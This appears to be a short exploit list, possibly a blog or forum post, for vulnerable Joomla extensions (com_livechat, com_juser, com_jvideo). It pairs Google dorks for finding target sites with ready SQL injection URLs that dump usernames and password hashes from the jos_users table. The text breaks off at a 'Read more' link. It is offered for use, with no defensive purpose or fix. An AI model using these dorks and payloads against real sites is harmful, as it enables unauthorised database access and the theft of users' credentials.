Jomla Live chat

Dork:
allinurl:option=com_livechat

Exploit :
administrator/components/com_livechat/getChat.php?chat=0&last=1=+union+select+
1,unhex(hex(concat(username,0x3a,password))),3,4+from+jos_users

administrator/components/com_livechat/getSavedChatRooms.php?chat=
0&last=1+union+select+1,unhex(hex(concat(username,0x3a,password))),3+from+jos_users

Joomla "option=com_juser"
info http://milw0rm.com/exploits/8847

Dork:
inurl:option=com_juser

exploit:
index.php?option=com_juser&task=show_profile&id=70+and+1=2+union+select+1,2,concat
(username,0x3a,password)chipdebi0s,4,5,6,7,8,9,10,11,12,13+from+jos_users--

Joomla "com_jvideo"
info dari h ... Read more »